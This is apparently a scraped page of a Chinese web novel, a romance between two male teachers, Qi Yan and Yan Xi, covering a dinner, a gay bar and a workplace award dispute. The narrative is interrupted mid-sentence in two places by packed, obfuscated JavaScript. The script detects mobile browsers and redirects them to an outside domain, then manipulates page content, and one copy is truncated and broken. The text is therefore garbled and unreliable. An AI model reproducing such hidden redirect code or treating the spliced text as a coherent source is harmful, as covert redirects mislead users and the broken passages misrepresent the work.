0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563439|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的顶头上司,也不会真的去因为这事儿去和他较真。 这还是头一次被人逮着训,祁衍有点儿想笑。 祁衍止住笑:“我身体素质好,一般这种小病用不着去吊瓶,你看我今儿不就没事儿了,鼻音都消了不少,是不是,连小丑鼻都消了。” 祁衍摘了半拉口罩,还朝他笑。 燕习面无表情盯了他几秒,淡淡说:“你纯属是给自己架太高,忘了怎么下来了,迟早有一天摔个跟头就长记性了。” 说完燕老师转身就走了,脚步还挺快。 祁衍欸了声,没叫住人。 燕习没一会儿就下了楼,往办公室走,祁衍栏杆这位置能看见燕习的背影,衬衫笔挺。 祁衍揉了揉后脑勺,莫名又笑了声。 祁衍这次病的突然,因为被燕习这一通说,某人也不敢强撑着了,和学校请了一天假,打算回去休息一天,其实刚才和燕习说话的时候,他一直想咳嗽,憋着才没咳嗽。 他现在平均每十秒咳嗽一声,午睡眯一会儿都得被咳醒,没办法,只能先修整几天。 祁衍这假请的也挺容易,之前他请个假,崔主任眉头皱的能夹死蚊子,这次倒是乐呵呵放他走了。 走之前还和祁衍说:“那你记得通知声燕老师,让他看班哈。” 祁衍摆了摆手离开了,回到家的时候,祁衍拍照给燕习发过去了假条。 想了想又补了个表情包:安详地躺在床上。 燕习是在快下晚自习才回复的他,回来个:嗯,好好休息。 祁衍当时在家里啃周公子他们慰问送来的芭乐,笑呵呵看了眼消息,才把手机往旁边一扔。 “说我写的评论没水平?有本事堵我嘴别让说啊,戳他心窝了就说我写的没水平,我看是我说中了,我过几天,再给他发篇评论,好好让他看看我水平。”周公子腿一晃说。 周峥和祁衍一样,都是老一辈部队里出来的家庭,从小一个院子里跑大的,周峥他爷爷当时想让周峥进部队,周峥死活不去,和家里闹了一通,这中间还捡起了笔杆子,成了作家。 老周家瞧不上那个,这几年周公子还和家里还在闹着呢,再加上文人嘛,玩儿得确实花,老周还喜欢男的,跟祁衍一个路子的,就更别想回家了。 不过周峥现在自己过得也算滋润,偶尔躲山里写写东西,看不上哪个作家,就说道几句。 前几天他在期刊上发了个评论,批评了有个作家的在文章里的态度问题,这作家急了,在网上和周峥互撕呢。 “你再激他,人急了,连你祖宗都得挨批。”祝岭从厨房出来,端了最后一道菜:“得了,两位军爷上桌。” 周峥过去上了桌,直接用手抓起块儿带鱼,趁热乎尝了口:“嚯,这香的,还得是已婚男人啊。” 祝岭笑了笑:“做的清淡了点儿,怕祁衍不能吃。” “能能能。”祁衍扔了手机,过去一口接一口:“跟嫂子说一声,祝岭这周留我家做饭了。” “你可拉到吧,谁敢在你家,万一让那位滑雪的回来逮着,不得吃了我们。”周峥说话口直心快,主要是他和祁衍关系好,有什么话想说就说了。 祁衍也不介意,摆摆手:“换锁了。” “哟。”周峥和祝岭对视一眼。 祝岭笑了:“又换了?” 周峥故意疑惑地欸了声:“上次不也换了吗,林琰咋拿的钥匙。” 祁衍瞪了这俩人一眼,默默扒拉了两口米饭才说:“这次真不惦记了。” 周峥和祝岭明显没信,只是也没再提。 17. 017 做饭的人不洗碗,祁衍和周峥俩人在厨房,一个洗一个擦,祝岭靠着窗边抽根烟。 “洛崎这小孩儿,非让我们这周六去看他比赛。”祝岭说:“周峥也收到消息了,给你发了没?” 祁衍蹙眉:“应该是发了,他每天没事儿干就发一堆消息,没怎么仔细看。” “去不去?”周峥问他。 祁衍摇头:“九月初刚去了,不去了,没空。” “行吧。”周峥轻挑眉:“就知道你不来。” “不过,洛崎还约了一起吃饭。”祝岭转头又问他:“吃饭来不来?” 周六…… “我周六约人了。”祁衍说:“估计没空,改天吧。” “行行行。”周峥说:“你大忙人。” 周峥他们双休的时候经常来祁衍这儿,偶尔一起出去吃,但大多数都是直接在祁衍这儿吃。 祁衍平时没空给自己做饭,祝岭来一次才开一次火,也算给祁衍这儿添点儿人烟。 他俩都有自己家钥匙,有时候祁衍不在会直接过来,这次换了锁,走的时候,祁衍又给了他俩新的钥匙。 “欸,真不给那滑雪的钥匙了?”周峥嘴欠说:“不能人哄两句,就又给了吧?” 祁衍轻挑眉:“本来打算拿两块我家老头的茶饼给你们,这下没你份儿了。” 周峥也是茶奴,一听赶快改口:“欸欸欸,错了哥,错了。” 祁衍这才给了他茶饼,一人给他们包了一块儿。 周峥一拿到茶饼,又开始犯贱了:“嘿嘿,不就个林琰嘛,大不了给了钥匙,过几个月吵架了,再换一次门锁嘛,再不济换房子,正好我家旁边那户空着,来陪我也行。” 祁衍抬脚就要踹他。 周峥先一步溜走了。 “好好养病,肺炎可不是开玩笑的。”祝岭拿过钥匙,提醒他:“有事儿给我打电话,别什么事儿都憋着不说。” 祁衍哎哟了声:“得了,你别唠叨了,可知道是快当爸的人了,话都多了。” “行行行。”祝岭笑了笑:“不说了。” “给嫂子带好。”祁衍拍了拍他肩膀说:“有空去你那里转转。” “好。”祝岭应了声,也离开了。 周六这天,祁衍约了燕习,上次他生病发事儿,挺麻烦燕习的,再加上之前就提过一次吃饭,也算是撞一块儿了。 和班里聚餐肯定不一样,这次祁衍挑了好久地方,好餐厅,平时都他家老头部队里聚餐选的地方,有次祁衍跟着吃了一次,味道不错,除了贵点,其他都挑不出问题。 那天,祁衍大早上就起来刮了胡子,抓了抓自己从毕业就没变过的美式前刺,前几天又去修了修头发,眉眼整个露了出来,看上去劲儿劲儿的。 他难得打开了最里面衣柜里的衣服,挑了半天,选了件衬衣,酒红色的,外面又搭了件夹克,露个领口边,解开俩扣子,半截锁骨在外面,骚极了,还喷了点儿香水。 祁衍其实对于打扮很细致,不过平时在学校,他是真没时间搞这些,不过偶尔搞一下,还是挺扎眼的,当时大学的时候,他们宿舍追女朋友,都是祁衍给配的穿搭。 包括当年祝岭追嫂子的时候,祝岭一个直男,还是理工男,可让祁衍操坏心了,有时候,祝岭会大半夜给祁衍发消息,问祁衍这句怎么回。 祁衍下楼想起这事儿,还自己乐了一会儿,今儿好不容易打扮一次,祁衍在他们的小群里发了个照片。 【周公子:哟,这么骚,去会哪个小情人儿啊。】 祁衍没回他。 【祝岭:我们入场了,一会儿洛崎就比赛了,到时候群里给你发视频。】 【祁衍:行。】 祁衍出发前给燕习打了电话,燕习还是在上次一样的地方等着他。 燕习经常穿风衣,祁衍挺喜欢男的这么穿,看着特干净笔挺,燕习身上的书卷气也是独一份。 祁衍毕竟是弯的,喜欢男人是他没办法控制的,尤其是一个这么帅的成年男性每天在他眼前晃悠,不说真动什么心思吧,但脑子里确实偶尔会想想,但也只是想想。 燕习这号人,他可驾驭不了。 祁衍在车里欣赏了会儿,才鸣了下笛。 燕习朝这边走了过来,上了车,他看见祁衍,浅浅挑了下眉。 祁衍注意到了,笑了声问他:“我这身怎么样?这回不吃烧烤,没穿卫衣。” 燕习很少见祁衍这么打扮,平时不是运动衣就是卫衣,看着特显小,会让人暂时忘记,这其实是一个马上三十岁的成年男性。 直到祁衍换上这一身,才让人有了年龄的实感,他脱了皮夹克,上半身就一件衬衣,他挽了几圈袖子,露出结实的小臂,打转着方向盘。 “和在学校里的穿衣风格确实相差很大。”燕习说。 祁衍眼角含着笑,等出了巷口,看了燕习一眼才说:“其实我平常也不这么穿,今儿是因为和燕老师吃饭才专门打扮了。” 燕习鼻腔发出声短暂的笑。 “燕老师每天那打扮,给我压力很大的。”祁衍朝他眨了眨眼。 燕习没说话。 “不过。”祁衍赶在绿灯前没过去,停了车,有个将近一分的红灯:“燕老师的穿衣风格打扮,在学校里出名的吸引小女孩注意,有小女孩都打算在学校超话做一个燕老师OOTD的话题了。” 燕习轻挑眉,还是没说话。 “穿衣打扮这些吧,其他老师避之不及,有多随便就多随便,不过燕老师这心态我还挺喜欢。”祁衍手指放在窗边,一下一下磕着。 燕习语调上调:“为什么?” “自在。”祁衍说这话是真的:“舒服。” 燕习虽然给人的感觉很稳重,但他是自在的,可以说内核很强大,周围的一切事物,似乎都不足以影响他自己的行为模式。 燕习听了,鼻腔发出声浅浅的笑,过了几秒才说:“没那个必要,自己舒坦就行。” 祁衍轻挑眉,转头看他。 “说到底,这也就是个工作。”燕习淡淡瞥了他一眼,又说:“不像祁老师,给自己架太高。” 祁衍无奈笑了声,这是燕习第二次这么说他了。 “都请吃饭了,生病那事儿就当过去了行吗?”祁衍说。 燕习鼻腔发出声短暂的笑,没应声。 绿灯亮了,祁衍开了车。 燕习突然开口说:“我没你想的那么理性沉稳,别加人设滤镜。” 祁衍转头,看见燕习看着窗外,表情平淡。 燕习也没想解释更多,祁衍也没问,快到吃饭的地方,祁衍才开口。 “快到了,燕老师平时来这儿玩吗?”祁衍转着方向盘说。 燕习扫了眼窗外:“很少,不常来。” 这边是他们这个区平时人流量最多,玩儿的东西也最杂的区,这边有挺多高端的商场,祁衍平时不和人逛街,但是经常来刷街,就是看看最近有什么最新款的衣服鞋子什么的。 “那燕老师一般约会去哪?”祁衍停了车,顺口问他。 燕习顿了一秒才说:“没约过。” 祁衍直愣愣扭头看他,笑了:“真假?” “嗯。”燕习摘了安全带。 燕习没说假话,他没谈过男朋友,知 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祁衍气血足,手热乎,这一下还冰了他手背。 身边的人不动声色收回了手,祁衍也收了下手,指腹摩挲了下。 “人还挺多。”祁衍说。 这话题开展的太生硬,祁衍都有点儿后悔说这一句了。 还好燕习没让他尬住。 “订了包厢?”燕习问他。 祁衍点头。 “祁老师破费了。”燕习说。 祁衍笑了笑:“毕竟头一次单独吃饭嘛,你还是我们六班的新班主任,我这前班主任,怎么着也得请的。” 燕习垂眼,没说什么。 到包厢时候,已经有服务员等着了,祁衍脱了外套,这时候才想起问燕习有没有忌口。 燕习顿了下,摇头。 祁衍点头,先熟络点了几个招牌菜:“金瓜焗龙虾,羊肚菌酿肉,松露烩饭。” 祁衍给了燕习菜单,示意他点。 燕习拿过菜单,有点了两个菜,给了服务员菜单。 上菜的时候,燕习有一瞬间脸是黑的。 因为这些菜里全都有胡萝卜,胡萝卜丝,胡萝卜块,胡萝卜酱…… 燕习拿着筷子,有一瞬间的僵硬。 祁衍已经很顺手过去,拿燕习的碗给他盛了一小碗的烩饭。 胡萝卜丝见缝插针和米拌在一起。 燕习非常非常非常非常非常非常非常非常讨厌胡萝卜。 对于讨厌胡萝卜的人来说,这一碗可以说能要他们半条命,燕习当时就是这种感受,脖子夹在刀口,面前是一碗胡萝卜烩饭,碗上面还写着:吃了它还是去死? 但其实在祁衍面前,承认自己不吃胡萝卜,除了会丢人之外,也没什么。 但是,燕习想起自己刚来学校那一周,祁衍每天早上给他带的胡萝卜馅儿包子,最后都是让宋瑞吃了。 如果祁衍知道他不吃胡萝卜,某人心思敏感,在饭桌上会给他留面子,但回去一定会多想。 刚开学的时候,燕习当时只是懒得去解释自己不吃胡萝卜,当时他也没想到,之后会面对这么戏剧化的一幕。 祁衍给他盛好米饭,递过来:“这个饭可好吃了,他们店的招牌,尝尝。” “谢谢。”燕习接过饭,拿起筷子夹起了道菜,还顺便扒拉开了菜上面的胡萝卜。 索性祁衍也没发现哪不对,自己吃自己的了,就是吃到最后,燕习都没动过那烩饭。 “燕老师不吃碳水?在塑型?”祁衍喝了口茶说。 燕习:“……嗯。” 18. 018 一顿饭吃完,祁衍送燕习回酒吧,车停在门口。 “燕老师早点儿回去休息,学校见。”祁衍笑着说。 燕习摘了安全带,但没立刻下车,只是挑眉看了他一眼。 正当祁衍以为燕习要说什么,突然祁衍那边的窗户传来了咚咚的敲窗户声音。 祁衍一扭头,就看见了四个人围着他窗户,正是去看比赛的周峥他们,外加个洛崎。 “这是祁衍的车啊,里面有人吗?”周峥瞪大眼,和猴一样在窗户外扒着往里看。 “有嘛有嘛!可让我逮住了!不去看我比赛,还和别人吃饭,我就在车门边守着他。”洛崎努嘴说。 祁衍和燕习对视了一眼。 “那什么,这都我朋友。”祁衍有些不想承认,他咳嗽了声,压低声说:“我没想到他们也来这儿玩,要不咱俩憋着声儿不出,过会儿他们就走了。” 祁衍在燕习的脸上看见了无语。 “出去。”燕习吐出两个字。 好吧,祁衍默默降下了车窗,和车外的几个人四目相对。 “欸我草。”周峥吓一跳:“你丫在车里不出声。” “当狗仔呢,蹲出点儿东西没有?”祁衍翻个白眼说。 “祁哥!”洛崎笑呵呵就要扑上去:“你真在啊。” “欸。”祝岭给他拦下来了,看了眼车里的燕习,又看了眼祁衍:“你们忙?” 这个忙就用的很有灵性。 祁衍摸了摸鼻子,赶快说:“别误会,这我同事,之前有事儿麻烦人家,请人吃顿饭。” 燕习下了车,祁衍赶快也跟着下去。 燕习朝面前几个人笑了笑说:“我叫燕习,是祁衍的同事。” 三个人看清燕习的长相后,互相对视了一眼,表情晦涩难明。 燕习微微挑眉,有些察觉到了什么,但他不明白这种态度的由来。 “哟,人民教师啊。”周峥先上前一步,笑眯眯伸手说:“你好,我叫周峥,写东西的。” 燕习伸手,和他短暂握了下:“你好。” “就是个网络喷子。”祁衍默默在旁边评论一句。 周峥朝祁衍啧了声。 “祝岭,目前是待产的家庭主夫。”祝岭朝他笑笑。 “恭喜。”燕习浅浅一笑。 洛崎也笑嘻嘻上去打招呼:“燕老师好,我叫洛崎,是滑雪运动员。” 燕习轻挑眉,点了点头。 “你们在这儿吃饭?”祁衍扫过一圈。 “对啊,吃了家湖南菜还不错,幸好你没来,要不还得惦记着你不能吃辣。”周峥耸肩摊手。 祁衍笑了:“行行行,耽误你们了是吧。” “不耽误不耽误。”洛崎就是那种小男孩的类型,喜欢缠着祁衍,过去凑祁衍旁边,眼睛亮亮说:“祁哥,我今儿又上八十了!夸夸我夸夸我。” 祁衍故意夸大表情:“这么厉害啊,不错不错,下次有空去看你比赛。” “好!”洛崎说。 燕习余光朝祁衍这边瞥了眼,又淡淡收了回来,刚好和祝岭对视上。 “祁衍车停这儿,是要送燕老师?”祝岭问他。 “已经到了。”燕习朝后面抬了抬下巴:“这酒吧是我开的。” 还没等其他人有反应,周峥先瞪大眼:“这酒吧?你开的?” 周峥要不为了看洛崎比赛,他一般也不来这边,但市里的gay吧有哪几个,他就算没去过的都能说出来,毕竟在这个圈里混,多多少少都知道。 这White是这个区出名儿的gay吧,那这人也是gay? “周峥。”祁衍先一步叫他名字,提醒他别乱说话。 周峥也知道什么该说,什么不该说,只和燕习笑了笑,刚才就觉得燕习帅,现在知道燕习可能也是个弯的,是越看越喜欢了。 燕习似乎也感觉到了什么,转头和祁衍对视了一眼说:“要不然,叫你朋友一起进去玩儿玩儿?” “他们……”祁衍刚要开口。 “去去去!”周峥已经打断了他。 “我也想去,我明儿没训练。”洛崎举手说。 祝岭无所谓。 五分钟后,他们进了燕习的酒吧,找了个卡座,也是这时候,其他人也发现了酒吧和寻常酒吧的不同,不过都没摆明面上说。 燕习去给他们拿酒了,周峥趁他不在,瞪大眼和祁衍说:“你丫有这么好的货不早拿出来,偷偷攒着啊。” 祁衍喝了口水,杯子一放:“别想了,你吃不下。” “怎么就吃不下了,我谁没吃下过……”周峥说。 祁衍翻了个白眼,神情认真了些:“别打他注意,人家正经人。” 周峥轻笑一声:“说得好像谁不是正经人一样。” 燕习从来没谈过恋爱这事儿,只有祁衍知道,他也不可能和周铮说。 但周峥这人,真给他气够呛,他看不惯周峥这个老油条挑逗人燕习,光想想就浑身不适。 祁衍看了眼燕习离开的方向,燕习拿了几瓶酒过来了。 祁衍压低声音说:“他真不行,收起你的做派啊,不然我真生气。” 周峥闻言笑了说:“你直接说你看上他了不就完了吗,我可不打兄弟的人的主意。” “我没有。”祁衍说。 “你没有,那还不准别人打他注意,是不是管太多。”周峥轻挑眉说:“省省吧你,这人一看就是你的菜,这气质……” 周铮话里有话笑了:“你不就喜欢这种正经人嘛,不过我也不挑,长得帅的我都喜欢。” 祁衍气都上来了,还想说什么,但燕习已经过来了,给几个人拿了几瓶酒。 “这个度数低,运动员能喝。”燕习和洛崎说。 洛崎拿过酒:“谢谢燕哥。” “怎么只给我们几个拿了酒。”周峥扫过一圈,笑了:“祁衍的呢?” 燕习看了祁衍一眼,坐在了祁衍旁边说:“他开车,不能喝。” “哟哟哟。”周峥又开始了。 祝岭直接在桌下给了他一肘子,低声说:“你要不要看看祁衍的表情。” 周峥还敢反欠,他就是这种人,也就是因为他和祁衍从小一起长大,快三十年情分在,祁衍才没和他闹翻脸。 “怪不得呢,祁衍今儿穿的和个花孔雀开屏一样,合着是和燕老师吃饭啊。”周峥笑眯眯说:“我上次见他这么穿,还是在滑雪队……” 燕习轻挑眉。 祁衍这下真气了,语气冷了:“有完没完?” 周峥耸肩,不说话了。 燕习明显感觉出来什么,还很准确捕捉到了某个字眼,但很有眼色没有再问。 “他就这样爱闹着玩儿,燕老师别介意。”祝岭笑笑说。 燕习摇摇头。 周峥声音不高不低,嘟囔了句:“祁衍动没动心思他自己知道,你们替他憋什么,好不容易终于换了个人,也得让你们憋走了。” 声音不算太高,旁边还都是嘈杂的音乐声,但祁衍听得清清楚楚,他都懒得和周峥较真了,下意识看向了燕习。 燕习手上拿着酒杯抿了口,没什么表情,不知道有没有听到。 好在洛崎这个小太阳在桌上,不会冷场,洛崎后半段一直在说自己今天的比赛,祁衍偶尔听两句,其实注意力还是在燕习身上。 “那得下个月了,比完赛才能看有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563441|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚运会资格。”洛崎耸肩:“不过这次比赛,河北队也参赛,估计名额没了。” 河北队是林琰在的滑雪队,从祁衍退出北京队之后,林琰就转去了河北队。 祝岭下意识看了祁衍一眼。 祁衍靠在椅背上,没什么表情,手上挑着干果。 祝岭和周峥也很懂滑雪,几个人还交流了不少野雪滑道。 燕习偶尔会转头,然后问一些祁衍滑雪的专业问题。 也只问专业有关的,其他不多问,比如说,祁衍他什么时候进入滑雪队的,这个年纪明明应该还在役,为什么选择去当老师等等。 燕习的妥帖太过自然,反倒是让祁衍想作妖了。 就好像突然暴露了另一层身份,但是面前的人冷静得没一点波澜时,本来你是想掩饰,现在反而想一股脑都说给他听了。 四个人聊了挺多,最后聊天的内容基本都聚焦在燕习身上,问燕习的大学,兴趣爱好等等。 也是这时候,祁衍才知道燕习是极限运动的爱好者。 燕习提到了很多极限运动,什么攀冰攀岩,还给他们分享了好用牌子的岩具,燕习寒暑假,还会跑去进行野外求生探险,和当地原住民拍照。 燕习给他们看了照片,照片里,燕习脱去了衬衣和板正的大衣,深绿色的冲锋衣,和半个身子大的登山包,和当地的黑人拍了照。 祁衍全程是愣着被输出的状态,有种自己在没设防的状态下被人剖开一层,结果一抬头,发现另个人也很坦荡荡脱了一层,很冷静的和他说:“现在进度一样了。” 祁衍心情好了起来,他很少听燕习说这么多话,但燕习提起极限运动时,对于各种场所理性的安全估测和判断,用平静的语气说出来,真的很吸引人。 “你看着真不像搞尾崎八项的。”周峥都听进去了,瞪大眼说。 “看着像读书人,实际上喜欢睡崖壁啊。”洛崎说。 燕习轻挑眉,笑了:“我也搞学术,这不冲突。” 燕习突然转头,和他对视了一眼。 祁衍朝他笑了笑。 聊了一晚上,他们要走的时候,祁衍落后他们一步,和燕习并排走着。 祁衍笑着说:“想不到啊燕老师。” “祁老师也让人想不到。”燕习语气平和。 祁衍也笑了。 “但我确实有事儿想问问祁老师。”燕习垂着眼,语调却上扬。 祁衍停下脚步:“你说。” “今儿这顿饭,祁老师是替六班约的,还是替你自己约的?” 祁衍没想到燕习这么直白,明明之前俩人都在有意避开这种话题。 祁衍和燕习这情况吧,都明明白白清楚对方是gay,也不是说gay之间就不能一起出来吃饭了,他和周峥好兄弟也一起出来吃饭。 但他和周峥不会这么别扭着吃饭,祁衍承认自己确实心思不纯。 还好燕习很妥帖,又补了几句,给了他台阶:“如果祁老师是在请六班的新班主任吃饭,那也没下次了,毕竟六班不会一直换班主任。” 祁衍笑了:“不为这个,为我上次的病麻烦你行吗?” 燕习平静和他对视着说:“祁老师说了自己身体素质好,上次的情况,我也希望不会出现下一次。” 祁衍想了会儿,抬眼看他:“那就因为,我想和你吃饭,这样有下次吗?” 燕习没出声,只是挑眉。 “朋友嘛。”祁衍顿了下,又补了句。 燕习鼻腔发出声短暂带着气音的笑,感觉没太走心:“随便吧。” 回答的也没走心,燕习送到门口,转身离开了。 祁衍手指摩挲了,又想抽烟了。 19. 019 祁衍晚上回到公寓,从停车场出来往回走的路上,还能想起最后和燕习的对话。 祁衍摁了电梯的十六楼,盯着数字往上跑。 其实也就认识一个月,但燕习这个人吧,他确实……看得挺顺眼,当时在酒吧,第一次见燕习,俩人对视那一眼,祁衍心都提起来了,这人的长相就是按他的标准长得。 长相归长相,燕习的性格又是一回事,稳重成熟,就算燕习不是gay,只是他的普通同事,祁衍也想认识一下,当个朋友什么的,更别说燕习是实打实的gay。 祁衍第一次在酒吧,虽说起了点儿想法,但没打算下手,他也没想到后来俩人能在学校有交集。 祁衍手指抵着电梯门,轻轻叹了口气。 燕习这人太不一样了,和祁衍之前认识的人都不一样,燕习整天在他眼前晃悠,脾气和长相又这么合祁衍心意,祁衍不是木头,时间一长,不可能不走心。 但燕习和他不一样,这人干干净净的,恋爱都没谈过,往那一站,有太多选择了,目前看来,燕习的眼光也高。 至于他祁衍,二十多岁的时候什么都给出去了,连心都给出一半,没什么资格去和燕习搞感情,不相配。 白纸就配白纸,祁衍这边还有个不知道什么时候回来恶心他的前任,他有什么能惦记燕习的。 电梯停在了十六楼,祁衍微垂着头,轻轻说:“朋友也挺好的。” 祁衍出了电梯,手机响了下,是李鸣的消息。 李鸣是林琰的经纪人,之前也是祁衍的,祁衍和林琰在一起之前,林琰的身份,还没到要配专业经纪人的程度,基本队里的经理就够用。 后边林琰和祁衍在一起后,祁衍多给了李鸣一份工资,忙他们两个的事儿,再后来祁衍退役,李鸣跟着林琰,又去了河北队。 【祁哥,小琰最近状态不太好,上边都问话了,我和他谈了谈,他什么都不说,就让我找你。】 【怎么了哥,又吵架了?】 祁衍蹙眉。 他和李鸣挺久没联系了,平时也就节假日发个消息,半年前偶尔祁衍还会向他问林琰的情况,翻一翻聊天记录,一水聊的都是林琰。 后边祁衍和林琰分开之后,祁衍除了刚开始问过几句,后边就没再问了。 李鸣今儿这消息发过来,还挺突然,他这人做事儿有分寸,估计林琰没告诉他,两个人已经分开了,刚才那消息,估计也是林琰让他试探自己的。 祁衍想了几秒,回了消息。 【我们分开了。】 李鸣那边亮了“正在输入中”的按钮,亮了好几遍又暗掉。 【不好意思祁哥,打扰你了。】 祁衍收起了手机,深深叹了口气,以前和林琰牵扯到的东西太多,就算是换了个生活圈,但林琰的事情,总会在他眼前转悠一圈,就像是给他提个醒儿。 祁衍班主任的牌子也算卸下来了,面上学生都说六班是俩班主任,实际上祁衍确实管得少了,不经常来教室了,再加上体育特长生训练加紧了,祁衍也忙,一天都逮不着他人。 学校刚好有个体育项目和另外几个学校接轨,有交换生来训练,祁衍作为主教练,自然不能缺席。 几乎是交换生在哪,他就在哪,连着两个星期,祁衍性格随和,不像其它教练,很快就和这帮交换生处好了关系。 这天周一开会,有个交换生身体不舒服,祁衍带着去医务室处理好才来。 会议进行到一半,他从后门毛着腰进了办公室。 整个办公室坐满了人,一眼扫过去,全是穿着衬衫的老师,但祁衍一眼就找见了燕习。 祁衍隔着桌子,和对面坐得端正的燕习对视了一眼,燕习旁边刚好有个空座。 燕习没什么表情,收回视线,接着做会议记录。 祁衍正想着要不要坐燕习旁边的时候,燕习后排的何教练,朝他抬手:“祁老师,这儿。” 祁衍顿了下,还是去了后面,和燕习隔了两三个人的距离。 他们体育老师参加这种周会,基本没什么事儿,体育组的事儿,基本都是委员会那边安排,只用走个流程就行。 “祁老师真忙啊,这一个多星期都没逮着影儿。”吕老师小声说。 祁衍拧开水喝了口:“这次交换生多,十几个呢。” “祁老师是惦记年终奖吧。”何教练笑着说:“平时没见你这么积极,这次交换生的训练任务一次全揽了。” 祁衍笑了笑:“又没不让你们揽。” “没那个心,交换生最难搞,别的学校的学生,打好关系不说,还得教真本事。”几个体育老师交头接耳笑着说:“教坏徒弟,饿死师傅啊。” 祁衍跟着笑了会儿。 “不过这次交换生资质怎么样?”坐在前排的有个体育老师小声转头问他。 “还行。”祁衍低声说:“但我觉得不如咱自家孩子。” 祁衍说着话,余光一直往外撇。 斜对角的燕习,手上写着笔记,坐姿端正,脖颈修长挺拔,写到一半停了下来,似乎是轻轻叹了口气,在纸上划了一道,又接着写。 祁衍说完话,眼睛一转,盯了几秒燕习的背影,笑容渐渐消失。 从会议室出来,祁衍和几个老师一起往外走着,吕老师问他要不要一起去吃饭。 “行啊,我都忘了,吕老师拿奖金了啊。”祁衍笑着打趣。 吕老师上个月在英语组评优了,她和祁衍同一年进的学校,关系好,这段时间祁衍忙,今儿好不容易逮着人。 “单独吃饭啊。”何教练笑着说:“不带我们?” 吕老师笑了:“行行行,一起一起,不差你们几双筷子。” 他们就在教职工餐厅的包厢里,随便聚了聚,就是吃顿饭,下午他们都还要去上课。 一群老师在一块儿,聊天内容无非是蛐蛐完学生,蛐蛐同事。 他们这一大桌坐的都是年轻老师,平时玩儿得也好,说话知根知底,都是有什么说什么。 “张老师,我问你个事儿。” “真的啊?哟,我正说呢,本来流程都要确认了,突然名额取消,我也是八卦,不弄清楚心里不得劲儿哈哈哈。” 几个女老师在对面说着。 祁衍纯饿的,一碗接着一碗,肺炎好了之后,他胃口都好了不少。 “不过这燕老师会做事儿,本来就是老彭不地道……” 祁衍耳朵里钻进几个字,抬头打断了他们:“燕老师怎么了?” 吕老师在旁边和他解释:“啊,说数学组那个事儿吧?” 祁衍转头看她:“什么事儿?” “小事儿。”吕老师说:“上个月不是评优嘛,燕老师带的班,综合下来周测优秀率最高呀,包括领导听课评估也是第一。” 祁衍应了声。 “老彭,就数学组的副组长,不是在准备申请有个比赛嘛,需要这个评优撑场面。”吕老师顿了下说:“这事儿我们也不知道哈,都是瞎猜。” 祁衍蹙眉,已经猜测到了什么:“他顶了燕老师的?” 一桌人没敢说话,都知道燕习是六班班主任,而且祁衍和燕习走得还挺近呢。 何教练说:“这事儿我听我媳妇儿说了,估计彭老师是找校长说了。” 何教练妻子是高一数学组的,内部人员。 祁衍用力放下了筷子:“不是,校长就这么给他了?凭什么啊,有这么做事儿的?” 祁衍平时在学校算是和顺的,真看不惯某些老师,祁衍也只阴阳怪气几句,不会明摆着过不去。 “你怎么还生气了。”吕老师笑了声:“这种事儿多常见,谁刚来的时候,没给老教师让 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“刚才在餐厅,看见了新上的樱桃,给你拿了点儿。”祁衍提溜了一盒又大又红的樱桃,放在了燕习手边。 燕习手上还在写着教案,淡淡说了声:“谢谢。” “最近六班怎么样?”祁衍坐在了他对面,顺手捞过桌子上的笔转着。 “还行。”燕习写完最后一行字才说:“祁老师不放心,可以自己去看看。” 祁衍点了点头,没说话。 办公室里也没人说话,只有燕习写字的沙沙声。 燕习分了他一眼:“还有事儿?” 祁衍清了清嗓子,他说得也直接:“上个月,数学组月底评优,得奖的本来应该是你吧。” 燕习写字顿了下,看着祁衍,似乎没想到祁衍会提到这个,他盖上了笔帽:“怎么?” “你知不知道你们数学组那个副组长,把你位置给顶了?”祁衍蹙眉说。 燕习靠着椅背,姿势闲散,想了想,摇头。 “不是。”祁衍气上来了:“学生周测成绩,还有领导听课成绩,你都是第一,能不能评优,你自己肯定有数啊。” 燕习轻挑眉,刚要开口。 “你刚来,是不是不知道有这个机制?”祁衍蹙眉认真说。 燕习垂眼,突然抬了抬唇角。 “你笑什么?评优被那个姓彭的占了,奖金小一万呢,你还笑。”祁衍说得直接。 燕习手上转了圈笔,脸色比刚进门好看了些:“你来找我说这些,不怕得罪人?” 祁衍心里只想着姓彭的顶了燕习位置,其他什么都不管:“这才头个月,你一来就又是揽班主任还有竞赛,校长还这么做事儿,太难看了。” 燕习盯了祁衍几秒,开口说:“你对谁都这样吗?” 祁衍还蹙着眉,没缓过来:“什么?” “对谁都这么实在。”燕习手撑了下头说:“祁老师怕我吃亏?” 祁衍顿了一秒,意识回来了点儿:“那肯定怕啊,你才刚来,还是我们六班班主任,我还带你俩月呢,咱俩又是朋友,你做了多少我都看眼里了,不能让你吃这个哑巴亏……” 祁衍停住了。 因为燕习微微蹙着眉,表情相比刚才不耐烦了许多。 “那谢谢祁老师。”燕习语气平淡:“但不劳祁老师费心了,评优的事情我和校长已经谈过了,校长给了我和彭主任最优解,我不是十几岁的小孩儿,自然不会让自己的利益受到损害。” 祁衍愣了一秒:“解决了?” 燕习嗯了声:“下午还有课,我要午休,不留祁老师了。” 祁衍从燕习办公室出来,才意识自己是被人赶了。